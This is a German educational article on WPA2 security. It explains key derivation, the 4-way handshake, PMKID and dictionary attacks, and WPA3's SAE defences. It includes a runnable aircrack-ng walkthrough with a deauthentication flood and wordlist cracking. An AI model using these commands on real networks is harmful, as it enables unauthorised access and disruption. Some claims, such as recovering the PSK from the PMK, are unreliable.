WPA2-Angriff

WPA2 ("WiFi Protected Access") ist ein Sicherheitsprotokoll zum Schützen drahtloser Heim- und Firmennetzwerke. Dabei wird durch WPA2 der gesamte Netzwerkverkehr, der mit dem Netzwerk verbundenen Geräte, verschlüsselt sowie weitere Vorkehrungen getroffen, sodass Angreifern das Eindringen in das Netzwerk erschwert wird. Der WPA2-Standard ist eine Erweiterung des Vorgängers WPA. Der Nachfolger des WPA2-Standards wird derzeit unter dem Namen WPA3 entwickelt.

WPA2 hat einige Sicherheitslücke, welche Dictionary auf das WLAN-Passwort des Zielrouters ermöglichen, sofern dieses zu schwach gewählt wurde. Dadurch kann der Angreifer Internetzugriff auf dem Router erhalten und hat die Möglichkeit, den Netzwerkverkehr von Nutzern zu entschlüsseln.

Geschichte

Auf Grund der Sicherheitsprobleme mit dem WEP-Sicherheitsstandard wurde ein Nachfolger gesucht. Ein nachfolgender Sicherheitsstandard war bereits in Arbeit, jedoch wurde eine Zwischenlösung notwendig. Aus diesem Grund wurde daher kurzfristig der WPA-Sicherheitsstandard verabschiedet und etabliert. Dieser sollte nur vorübergehend Verwendung finden, um mehr Zeit für Fertigstellung des anderen Sicherheitsstandards zu haben. Aus den Bemühungen das symmetrische Verschlüsselungsverfahren AES in WPA zu integrieren, entstand der aktuelle Sicherheitsstandard WPA2. Dieser wurde 2004 beschlossen und soll im Jahr 2019 endgültig von WPA3 abgelöst werden.

WPA2-Grundlagen

WPA2 stellt einen Sicherheitsstandard zur Verschlüsselungen des Netzwerkverkehrs in drahtlosen Netzwerken dar. Als Veschlüsselungsalgorithmus dient dabei der Advanced Encryption Standard (AES), welcher symmetrische Verschlüsselung ermöglicht. Zudem wird das vom Vorgänger verwendete Temporal Key Integrity Protocol (TKIP) weiterhin unterstützt. Zusätzlich wird das Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP) verwendet.

Zwei verschiedene Einsatzmodi werden durch WPA2 unterstützt. Zum einen den Personal Mode (WPA-PSK), welcher einen Pre-Shared Key (PSK) verwendet, im Allgemeinen auch als "WLAN-Passwort" bezeichnet, zum anderen den WPA Enterprise Mode, welcher einen Authentifizierungsserver zur Anmeldung im WLAN-Netzwerk verwendet.

Zur Kommunikation der im Netzwerk vorhandenen Clienten werden symetrische Schlüssel verwendet. Dabei wird unterschieden zwischen Schlüsseln für Unicast-Verbindungen (zur Kommunikation zwischen zwei Parteien) und Multicast-Verbindungen (zur Kommunikation zwischen mehreren Parteien). Als Grundlage dient der Pre-Shared Key (PSK), aus welchem alle weiteren Schlüssel für die Kommunikation abgeleitet werden.

WPA-Modi

WPA2 unterstütze den WPA Personal Mode und den WPA Enterprise Mode, welche für unterschiedliche Anwendungszwecke designend wurden.

WPA2 Personal Mode

Der Personal Mode verwendet zur Authentifizierung einen PSK. Dieser muss vor der Anmeldung eines Clienten am Access Point hinterlegt werden. Anschließend kann eine Verbindung mit dem Netzwerk mittels des entsprechenden PSK aufgebaut werden.

Dieser Modus ist zur Anwendung in privaten Netzwerken oder für kleinere Unternehmen vorgesehen und enthält nicht alle für WPA2 spezifizierten Features. Wird das (in der Regel statische) WLAN Passwort zu schwach gewählt, wird das Netzwerk angreifbar gegenüber Dictionary-Angriffen.

WPA2 Enterprise Mode

Der Enterprise Mode ist zur Verwendung in großen Unternehmen gedacht und entspricht nahezu dem IEEE 802.11i-Standard. Einige Funktionalitäten, wie z. B. das Fast Roaming, fehlen jedoch.

Die Authentifizierung erfolgt im Enterprise Mode über einen gesonderten 802.1x/Radius-Server. Hier können sich Benutzer mit den ihnen zugewiesenen, persönlichen Benutzerdaten gegenüber dem Server authentifizieren. Möchte sich nun ein Client mit einem Access Point (AP) verbinden, wird zuerst nur der Authentifizierungsverkehr durch den AP zu Radius-Server durchgelassen. Ist die Authentifizierung gegenüber dem Radius-Server erfolgreich gewesen, bestätigt der Radius-Server dem AP die Rechtmäßigkeit der Anmeldung. Daraufhin generieren sowohl der Radius-Server als auch der Client den Master Key (MK). Aus dem MK wird nun auf beiden Seiten der Pairwise Master Key (PMK) abgeleitet. Danach übermittelt der Radius-Server den PMK an den AP und wird der 4-Way-Handshake durchgeführt. Sobald dieser erfolgreich abgeschlossen wurde, hat der Client Netzwerkzugriff. Bei fehlgeschlagener Authentifizierung teilt der Radius-Server dem AP dies mit. Der AP verwehrt dann dem Client den Netzwerkzugriff.

Der Einsatz dieser Technik ermöglicht es mehrere APs zu betreiben, zwischen denen der Nutzer wechseln kann ohne das eine Unterbrechung der Netzwerkverbindung entsteht.

Die Ableitung des PMKs erfolgt jedes Mal mit einem neuen MK. Verbindungsanfragen an den AP nur über den Radius Server erfolgen, wodurch die entsprechenden Pakete direkt durchgeleitet werden. Dadurch ist es nicht möglich, in WPA2 Enterprise Mode geschützte Netzwerke einzudringen.

Schlüssel

Sowohl für das Etablieren, als auch für die spätere Kommunikation werden verschiedenste Schlüssel verwendet. Dabei handelt es sich um synchrone Verschlüsselungen, d. h. beide Parteien verwenden die gleichen Schlüssel.

Pre-Shared Key

Der Pre-Shared Key (PSK) ist das vom Netzwerkbesitzer am Router festgelegte Passwort, welches dem Nutzern über andere Wege mitgeteilt wird (z.B. mündlich). Dabei handelt es sich um ein Shared Secret, dass für den Zugang zum Netzwerk benötigt wird. Dieser wird nur im Personal Mode benötigt.

Pairwise Master Key

Der Pairwise Master Key (PMK) wird über die Password Based Key Derivation Function 2 (PBKDF2) berechnet. Im Personal Mode werden dabei als Argumente der PSK, die ESSID (Netzwerkname) des AP und die Länge der ESSID verwendet. Im Enterprise Mode wird der PMK temporär durch das Protokoll des Authentifizierungsserver gestellt. Der PMK wird zur Ableitung des PTK verwendet.

Pairwise Transient Key

Der Pairwise Transient Key (PTK) ist 512 Bit lang und wird während des 4-Way-Handshakes über eine Pseudozufallsfunktion (PRF) berechnet. Von ihm werden die temporären Schlüssel für die laufende Verschlüsselung der Nachrichten abgeleitet. Dazu wird der PTK in mehrere Teile zerlegt. Diese sind:

• Key Confirmation KEy (KCK, 128 Bits) - Für die Berechnung der MICs während des 4-Wege-Handshakes
• Key Encryption Key(KEK, 128 Bits) - Zur Sicherstellung der Vertraulichkeit während des 4-Way-Handshakes
• Temporary Key (TK, 128 Bits) - Für die Verschlüsselung der Daten zwishcen Client und AP
• Temporary MIC Key AP (MIC Tx, 64-bit) - Zur Generierung der MIC über AP-seitige Pakete
• Temporary MIC Key Client (MIC Rx, 64 Bit) -Zur Generierung der MIC über Client-seitige Pakete

Der PTK wird für die Unicast-Kommunikation zwischen genau 2 Clienten verwendet und wird in regelmäßigen Abständen von ca. einer Stunde erneuert.

Groupwise Transient Key

Der Groupewise Transient Key (GTK) wird wie der PTK während des 4-Way-Handshakes berechnet. Im Gegensatz zum PTK wird der GTK für die Multicast-Kommunikation zwischen mehreren Clienten verwendet. Die Wahl des Schlüssels erfolgt zufällig vom AP.

4-Way-Handshake

4-Way-Handshake

Der 4-Way-Handshake wird zur Etablierung des gemeinsamen PTKs und des GTKs verwendet, mit denen der Netzwerkverkehr verschlüsselt wird. Die Schlüssel werden dabei vom Pairwise Master Key abgeleitet.

Der 4-Way-Handshake besteht dabei aus vier ausgetauschten Nachrichten zwischen Client und AP. Danach ist die Etablierung der benötigten Schlüssel abgeschlossen. Der Handshake verwendet dazu das Extensible Authentication Protocol over Lan (EAPOL). Im Folgenden werden die einzelnen Schritte des Handshakes erklärt:

1. Erste Nachricht: Der AP sendet eine von ihm genrierte Zufallszahl ANonce an den Clienten.
2. Der Client generiert ebenfalls eine Zufallszahl SNonce und berechnet den PTK. Dieser wird wie folgt berechnet:

   PTK = PRF(PMK + ANonce + SNonce + MAC-Adresse AP + MAC-Adresse Client)

3. Zweite Nachricht: Der Client schickt seine SNonce und einen Message Integrity Code über die SNonce MIC(SNonce) an den AP.
4. Der AP berechnet nun ebenfalls den PTK und leitet nun daraus die weiteren temporären Schlüssel ab. Diese werden dazu verwendet, die mitgesendete MIC zu überprüfen.
5. Dritte Nachricht: Der AP übermittelt nun den GTK sowie den MIC(GTK) an den Clienten. Der GTK wird dabei mittels des PTK verschlüsselt.
6. Vierte Nachricht: Der Client überträg nun ebenfalls mittels des PTK verschlüsselt den MIC(GTK) an den AP zurück. Der AP überprüft nun, ob der erhaltene MIC mit dem von ihm versendeten MIC übereinstimmt. Ist dies der Fall, wurde der GTK nicht manipuliert und die verschlüsselte Übertragung kann beginnen.

Angriffsarten

Wörterbuchangriff

Für den Wörterbuchangriff wird z.B. eine Passwortliste benötigt. Diese Listen enthalten durch Angriffe aller Art erhaltene Passwörter, welche durch reale Benutzer bei verschiedensten Diensten benutzt werden. Es wird nun jedes Passwort dieser Liste ausprobiert. Ist das Passwort in der Liste enthalten, kann ein effizienter Brute-Force-Angriff durchgeführt werden. Ist das Passwort jedoch nicht in der Liste enthalten, bleibt der Wörterbuchangriff erfolglos. Passwortlisten können online heruntergeladen, eine frei zugängliche ist z.B unter https://github.com/danielmiessler/SecLists/tree/master/Passwords zu finden. Als Alternative dienen auch Wörterbücher oder selbstgenerierte Listen.

Reguläre Ausdrücke

Einige Tools lassen die Verwendung von regulären Ausdrücken für Brute-Force-Angriffe zu. Hierbei muss mittels eines regulären Ausdrucks eine Vermutung über das Passwort angestellt werden, z.B. die Länge, die verwendeten Zeichen etc. Anschließend werden alle möglichen Kombinationen für den regulären Ausdruck berechnet. Dies ist für den Angreifer sehr rechenaufwändig, und kann gerade bei starken Passwörtern sehr lange dauern.

Regelbasierter Angriff

Der regelbasierte Angriff ist eine spezielle Art des Wörterbuchangriffs. Hierbei werden nach bestimmten Regeln Permutationen der in der Liste enthaltenen Passwörter generiert, welche ebenfalls als PMK probiert werden.

Angriff über den 4-Way-Handshake

Mittels des Brute-Force-Angriffs versucht der Angreifer das Zugangs-Passwort eines WLAN-Netzwerks, welches WPA-PSK verwendet, zu erhalten. Dazu muss der Angreifer einen erflogreich durchgeführten 4-Way-Handshake, der bei der Verbindung eines Gerätes mit dem Access Point durchgeführt wird, mitschneiden. Daraufhin erfolgt der Brute-Force-Angriff über den durch den 4-Way-Handshake etablierten PTK und die in der zweiten oder dritten Nachricht übertragene MIC.

Angriff

Der Brute-Force-Angriff auf WPA/WPA2 lässt sich in drei Phasen unterteilen. Hierbei sind die ersten zwei Phasen im Netzwerk auszuführen, die dritte kann offline erfolgen. Im Folgenden werden die einzelnen Phasen des Angriffs erklärt.

1. Informationen über den anzugreifenden Access Point sammeln (ESSID, BSSID, Channel).
2. Einen erfolgreichen 4-Way-Handshake mitschneiden
   • Deauthentifizierungs-Angriff
3. Brute-Force-Angriff auf den mitgeschnitten 4-Way-Handshake

Um den Angriff erfolgreich ausführen zu können, muss zuerst der anzugreifende Access Point ausgewählt werden. Dazu muss die Netzwerkkarte des Angreifers in den Monitoring-Modus versetzt werden. Ist dies geschehen, kann der ESSID des Access Points, die BSSID des Access Points so wie der Channel (Funkkanal) ermittelt werden. Wurden die benötigten Informationen gesammelt, kann nun gezielt der Netzwerkverkehr zwischen dem Access Point und anderen Geräten abgehört werden.

Im zweiten Schritt wird mittels der zuvor gesammelten Informationen die Kommunikation des Access Points belauscht. Es muss solange gewartet werden, bis ein neues Gerät erfolgreich in das WLAN-Netzwerk aufgenommen und dadurch der 4-Way-Handshake durchgeführt wird. Dauert es zu lange, bis sich ein neues Gerät mit dem AP verbinden möchte, kann ein Deauthentifizierungs-Angriff durchgeführt werden. Dabei wird über die Netzwerkkarte des Angreifers die Reauthentifizierung aller mit dem anzugreifenden AP verbundenen Geräte erzwungen. Es besteht bei diesem Vorgehen jedoch eine Chance, durch die Benutzer des Netzwerks bemerkt zu werden.

Im dritten Schritt wird der Brute-Force-Angriff durchgeführt. Folgende Informationen sind nun durch den Handshake vorhanden:

• ANonce
• SNonce
• MAC Client
• BSSID

Es fehlt somit nur noch der verwendete PMK. Um diesen zu erhalten, wird ein Brute-Force-Angriff ausgeführt, bei dem der PMK geraten wird. Mit dem geratenen PMK und den bereits vorhandenen Informationen lässt sich nun ein PTK berechnen und die Schlüssel MIC Tx und MIC Rx abgeleitet werden. Anschließend muss die MIC über die SNonce oder den GTK berechnet werden. Stimmt diese mit der mitgeschnittenen MIC des 4-Way-Handshakes überein, wurde der richtige PMK gefunden. Anschließend kann aus dem PMK der PSK zurückberechnet werden. Damit wurde Passwort gefunden und der Angriff ist beendet.

Wörterbuchangriff mit AirCrack unter Linux

Folgende Voraussetzungen sind für den Angriff notwendig:

1. AirCrack installieren: $ sudo apt install aircrack-ng
2. Die WLAN-Karte muss den Monitor-Modus unterstützen. Dies kann mittels $ iw list getestet werden.
   Unter dem Punkt "Supported interfaces" sollte der Unterpunkt "monitor" für die zu verwendende Netzwerkkarte aufgeführt sein. Falls die Interface den Modus nicht unterstütz, kann ein WIFI Stick als Ausweich-Interface verwendet werden.
3. Es muss eine Passwortliste lokal vorhanden sein.

WICHTIG: Wurde die neueste Version von AirCrack aircrack-zc installiert, sind die alternativen Kommandos für den Angriff zu verwenden, da ansonsten die Monitoring-Schnittstelle nicht vollständig geöffnet wird. Dies ist besonders relevant, wenn AirCrack auf einem neueren Ubuntu-basierten Betriebssystem verwendet wird.

Vorbereitung

Zuerst muss alles für den Angriff vorbereitet werden. Dazu muss die für den Angriff verwendete Netzwerkkarte in den Monitoring-Modus versetzt werden. Dazu kann wie folgt vorgegangen werden:

1. Ermitteln des Interface-Namens der Netzwerkkarte:

$ iwconfig

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=off   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          
lo        no wireless extensions.

2. WLAN-Karte in den Monitor-Modus versetzen:

$ sudo airmon-ng start wlan0

Alternativ:

$ sudo airmon-zc start wlan0

AirCrack überprüft beim Ausführen des Befehls, ob Prozesse existieren, die das Aktivieren des Monitoring-Modus verhindern. Werden welche gefunden, fragt AirCrack, ob diese abgebrochen werden sollen. Diese Frage kann mit Y bestätigt werden. Andernfalls kann auch

$ sudo airmon-ng check kill

verwendet werden und anschließend der Startbefehl erneut durchgeführt werden.

3. Überprüfen des Interfaces:

Nun wird die Netzwerkkarte in den Monitoring-Modus versetzt. In diesem Beispiel ändert sich zudem der Interface-Name zu wlan0mon.

$ iwconfig

eth0      no wireless extensions.

lo        no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:off

Durchführung

1. Informationen sammeln

Zuerst müssen die benötigten Informationen über das anzugreifende Netzwerk gesammelt werden. Um eine Übersicht über alle empfangen Netzwerke zu bekommen wird folgender Befehl ausgeführt:

$ sudo airodump-ng wlan0mon


 CH  4 ][ Elapsed: 6 s ][ 2018-10-08 10:57                                         
                                                                                                                                                     
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                     
 12:34:56:78:9A:BC  -40        2        0    0  11  130  WPA2 CCMP   PSK  HackMe!                                                                    
 00:00:00:00:00:00  -41        2        0    0  11  130  WPA2 CCMP   PSK  FRITZ!Box Fon WLAN                                                    
 11:11:11:11:11:11  -78        1        0    0   6   65  WPA2 CCMP   PSK  DIRECT-91-HP ENVY 
 22:22:22:22:22:22  -83        5        0    0   1  130  WPA2 CCMP   PSK  XT                                                                   
                                                                                                                                                     
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                            
                                                                                                                                                     
 (not associated)   33:33:33:33:33:33  -90    0 - 1      0        1  GetOff                                                                           
 (not associated)   44:44:44:44:44:44  -90    0 - 1      0        2  EasyBox                                                                   

Alternativ:

$ sudo airodump-zc wlan0mon

Nachdem der anzugreifende Access Point gefunden wurde, kann das Programm mit Strg + C abgebrochen werden. Nun haben wir die ersten notwendigen Informationen über den anzugreifenden Access Point erhalten, in diesem Fall:

• BSSID: 12:34:56:78:9A:BC
• CH: 11
• ESSID: HackMe!

2. Mitschneiden des 4-Way-Handshakes

Nachdem nun alle notwendigen Informationen vorhanden sind, muss ein EAPOL-Frame des 4-Way-Handshakes mitgeschnitten werden. Dieser wird automatisch in einer .cap-Datei gespeichert.

$ sudo airodump-ng --bssid 12:34:56:78:9A:BC -c 11 --write Logdatei wlan0mon


 CH 11 ][ Elapsed: 1 min ][ 2018-10-08 11:02 ][ WPA handshake: 36:31:C4:E
                                                                         
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER 
                                                                         
 12:34:56:78:9A:BC  -42  90      235       31    0  11  130  WPA2 CCMP   
                                                                         
 BSSID              STATION            PWR   Rate    Lost    Frames  Prob
                                                                         
 12:34:56:78:9A:BC  00:11:22:33:44:55  -48    1e-48e   139       33   

Alternativ:

$ sudo airodump-ng --bssid 12:34:56:78:9A:BC -c 11 --write Logdatei wlan0mon

Wurde ein Handshake aufgenommen, erscheint oben rechts die Anzeige [WPA handshake:. Ist dies erfolgt, kann das Programm mit Str + C abgebrochen werden.

Wird lange Zeit kein neuer Client mit dem Access Point verbunden, kann eine Deauthentifizierungs-Attacke durchgeführt werden. Durch diese Art von Angriff werden alle bereits verbundenen Clienten dazu gezwungen, sich bei dem Access Point zu neu authentifizieren, was whs. zur Durchführung neuer Handshakes führt. Jedoch kann diese Art von Angriff durch den Benutzer bemerkt werden. Um den Angriff auszuführen, kann folgender Befehl verwendet werden:

$ sudo aireplay-ng --deauth 100 -a 12:34:56:78:9A:BC wlan0mon

3. Brute-Force-Angriff

Die im vorherigen Schritt erzeugte Logdatei-01.cap enthält nun einen EAPOL-Frame des 4-Way-Handshakes mit allen notwendigen Informationen (ESSID, BSSID, MAC Client und PMKID). Mit diesen Informationen kann der Brute-Force-Angriff durchgeführt werden, indem der fehlenden PMK geraten und das Ergebnis der Hashfunktion mit der PMKID verglichen wird. Sind diese identisch, wurde das Passwort gefunden. Die Ausgabe erfolgt in Plaintext.

$ sudo aircrack-ng Logdatei-01.cap -w /Pfad/Zur/Passwortliste.txt

[00:00:00] 24/4799 keys tested (597.51 k/s) 

      Time left: 7 seconds                                       0.58%

                           KEY FOUND! [ 12345678 ]


      Master Key     : CF 82 97 8B 37 2E 39 FE F5 73 95 59 45 A6 AE 01 
                       1A C8 A3 A1 FA 61 3B AF EB 5E 85 E6 3B B7 89 5B 

      Transient Key  : 87 12 F7 00 02 E3 5D 1D C0 79 95 09 3E A7 C5 E4 
                       48 3E B8 ED 01 28 A7 8A 2A F2 28 1D 6B 5D DA 71 
                       A0 03 2E E5 4C C3 7A 9F 9F E3 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : AF 9C A2 71 13 BD 66 7E BD 02 CE F1 88 27 4B 08 

PMKID-Angriff

Mit dem Entwurf des neuen WPA3-Standards wurden bei der Suche nach weiteren Angriffsmöglichkeiten Sicherheitslücken innerhalb des von WPA/WPA2 verwendeten 4-Way-Handshakes gefunden. [1]

Dieser Angriff von 2018 baut, anders als der zuvor besprochene Angriff, nicht auf das Mitschneiden eines vollständigen Handshakes auf. Bereits eine einzelne Nachricht des Handshakes reicht bereits aus, da der AP hierbei direkt angegriffen wird. Es ist folglich nicht notwendig einen Nutzer zu belauschen, während er sich authentifiziert. Der Angriff setzt am Robust Security Network Information Element (RSN IE) an, ein optionales Feld innerhalb des 802.11 Management Frames.

Auch bei diesem Angriff wird mittels eines Brute-Force-Angriffs versucht das Zugangspasswort eines WLAN-Netzwerks, welches WPA-PSK verwendet, zu erhalten. Dazu muss der Angreifer lediglich einen EAPOL-Frame, d. h. eine Nachricht des 4-Way-Handshakes, der bei der Verbindung eines Gerätes mit dem Access Point durchgeführt wird, aufzeichnen. Die Aufzeichnung enthält dabei den Pairwise Master Key Identifier (PMKID), welcher für den Angriff benötigt wird. Die PMKID setzt sich dabei wie folgt zusammen:

PMKID = HMAC-SHA1-128(PMK, ESSID | BSSID | MAC Client)

Durchführung

Der Angriff erfolgt in zwei Schritten:

1. Verbindung zum anzugreifenden AP aufbauen
2. Brute-Force-Angriff auf PMKID

Zuerst versucht sich der Angreifer mit dem anzugreifenden AP zu verbinden und erhält somit in der ersten Handshake-Nachricht die mitgesendete PMKID. Da die Parameter

• ESSID
• BSSID
• MAC Client
• PMKID

bereits bekannt sind, fehlt somit nur noch der verwendete PMK. Dieser PMK kann nun durch den Angriff erraten werden, indem mittels des oben vorgestellten Verfahrens zur Berechnung der PMKID versucht wird, eine Hash-Kollision zu finden. Wurde für einen geratenen PMK eine Kollision festgestellt, kann aus dem PMK der PSK zurückgerechnet werden. Damit ist der Angriff beendet und das Zugangspasswort gefunden.

Verbesserungen in WPA3

WPA3 ist der Nachfolger von WPA2. Der Standard wurde Anfang 2018 angekündigt und soll 2019 in den ersten Geräten vorhanden sein. Dabei wurden einige Verbesserungen gegenüber WPA2 gemacht, die auch Brute-Force-Attacken wie den Offline-Wörterbuchangriff verhindern sollen. Dabei wird der WPA2 4-Wege-Handshake beibehalten, zusätzlich aber ein SAE Handshake vorgeschoben. Der SAE Handshake etabliert dabei einen neuen PMK. Bei WPA2 ist der PMK für den 4-Wege-Handshake der zuvor geteilte statische Schlüssel (WLAN-Passwort).

Schritte des SAE Handshakes

Im Folgenden sind die einzelnen Schritte des SAE Handshakes beschrieben. Es wird dabei ein Variation des Diffie-Hellman Handshake ausgeführt, der Authentifizierung erlaubt.

1. Beide Seiten leiten aus dem Preshared Key ein Password Element (PWE) ab.
2. Jede Seite wählt 2 Zufallszahlen ( rand und mask) und berechnet daraus ein Element elem und eine Skalenwert skal. Rand und mask bilden den private Schlüssel, elem und skal den öffentlichen Schlüssel
   
   
   

   Formeln für scal und elem
   
   
3. Sende elem und skal jeweils an die andere Seite.
4. Berechne ein geheimes Element K aus eigenem rand, sowie ausskal und elem des anderen.
   
   
   

   Berechnen des geheimen Elements K
   
   
5. Berechne aus K einen Intermediate Shared Key k mittels einer bijektiven Funktion F.
6. Berechne eine Authentication Confirmation Token aus k, eigenem skal und elem sowie dem skal und elem der anderen Seite. Sende das Token an den Kommunikationspartner.
   
   

Berechnen der Authentication Confirmation Tokens

Durch das Token versichern sich die Kommunikationspartner gegenüber einander, dass sie das richtige PWE kennen und das richtige k berechnet haben.

1. Berechne den Shared Key s aus k, eigenem skal und elem sowie dem skal und elem der anderen Seite.
   
   

Formel zum Berechnen des Shared Keys

Dieses Geheimnis kann dann im 4-Wege Handshake anstelle des PMK verwendet werden.

Relevante Verbesserungen in WPA3

Eine wichtige Verbesserung von WPA3 gegenüber WPA2 ist die Tatsache, dass die zuvor gezeigten Angriffe nicht mehr möglich sein sollten.

1. Abwehr gegenüber passiven Attacken: Der Angreifer ist nur in der Lage die Werte elem und skal mitzuschneiden, rand und mask bleiben unbekannt.
   Der Angreifer kann zwar versuchen Passworte zu erraten um K zu berechnen woraus sich das k und letztendlich das Geheimnis s ableiten lässt. Da ihm aber die rand-Werte beider Kommunikationspartner unbekannt sind, kommt dies dem Raten einer Zufallszahl (mit entsprechender Länge) zu raten.
2. Abwehr gegen Wörterbuchangriffen: Um festzustellen ob ein Angriff erfolgreich war, benötigt der Angreifer Feedback durch das angegriffene System.
   Bei WPA2 hat der Angreifer anhand deiner MIC oder der PMKID die Möglichkeit, seine Vermutung zu überprüfen.
   Da offline Angriffe wie zuvor erwähnt nicht sinnvoll sind, kann der Angreifer lediglich versuchen sich beim AP mit einem zufälligen geratenen Passwort zu authentifizieren, also einen aktiven Angriff durchzuführen. Da nun jedes mal die Antwort des AP abgewartet werden muss, ist Rechenleistung in diesem Fall nicht von signifikantem Vorteil.
3. Schutz bei schwachen Passwörtern: Auch wenn der SAE Handshake resistent gegenüber Wörterbuchangriffen ist, ist die Passwortlänge weiterhin ein Parameter der die Sicherheit beeinflusst. Unabhängig von der Passwortlänge kann der Angreifer das Passwort nur durch wiederholte aktive Angriffe erlangen.

Einzelnachweise

• [Heise, Angriff auf WPA | https://www.heise.de/security/artikel/Angriffe-auf-WPA-270596.html]
• [Security Insider, So knacken Sie WLAN-Verschlüsselungen | https://www.security-insider.de/so-knacken-sie-wlan-verschluesselungen-a-594587/]
• [Netspotapp, WiFi Encryption and Security | https://www.netspotapp.com/de/wifi-encryption-and-security.html]
• [Krackattacks, Key Reinstallation Attacks | https://www.krackattacks.com/]
• [New Attack on WPA/WPA2 | https://hashcat.net/forum/thread-7717.html]
• [Hashcat, Cracking WPA/WPA2 with hashcat | https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2]
• [ceilers-news, WLAN-Sicherheit 9 - Die Schlüssel von WPA2, Teil 1 | https://www.ceilers-news.de/serendipity/908-WLAN-Sicherheit-9-Die-Schluessel-von-WPA2,-Teil-1.html]
• [ceilers-news, WLAN-Sicherheit 8 - Der aktuelle Standard-Verschlüsselungsalgorithmus: WPA2 | https://www.ceilers-news.de/serendipity/906-WLAN-Sicherheit-8-Der-aktuelle-Standard-Verschluesselungsalgorithmus-WPA2.html]
• [Elektronik Kompendium, WPA - WiFi Protected Access | https://www.elektronik-kompendium.de/sites/net/2009011.htm]
• [Elektronik Kompendium, IEEE 802.1x / RADIUS | https://www.elektronik-kompendium.de/sites/net/1409281.htm]
• [Elektronik Kompendium, WPA2 - WiFi Protected Access 2 / IEEE 802.11i | https://www.elektronik-kompendium.de/sites/net/0907111.htm]
• [Searchnetworking, Wi-Fi-Verschlüsselung: Grundlegendes zu WEP, WPA und WPA2 | https://www.searchnetworking.de/sonderbeitrag/Wi-Fi-Verschluesselung-Grundlegendes-zu-WEP-WPA-und-WPA2]
• [Brett Hill, Wireless Authentication and Key Generation | https://www.youtube.com/watch?v=ntGA6V5EciE]
• [Guillaume Lehembre, "Wi-Fi security - WEP, WPA and WPA2" | http://tele1.dee.fct.unl.pt/rit2_2015_2016/files/hakin9_wifi_EN.pdf]
• [ Mathy Vanhoef, WPA3: Technical Details and Discussion | http://www.mathyvanhoef.com/2018/03/wpa3-technical-details.html]
• [D. Harkins, "Simultaneous Authentication of Equals: A Secure, Password-Based Key Exchange for Mesh Networks" | https://www.doi.ieeecomputersociety.org/10.1109/SENSORCOMM.2008.131]
• [The Linux Documentation Project, 802.1X Port-Based Authentication HOWTO|https://www.tldp.org/HOWTO/8021X-HOWTO/intro.html]
• [RFC 2898 - Password-Based Cryptography Version 2.0|https://www.ietf.org/rfc/rfc2898.txt]

<references/>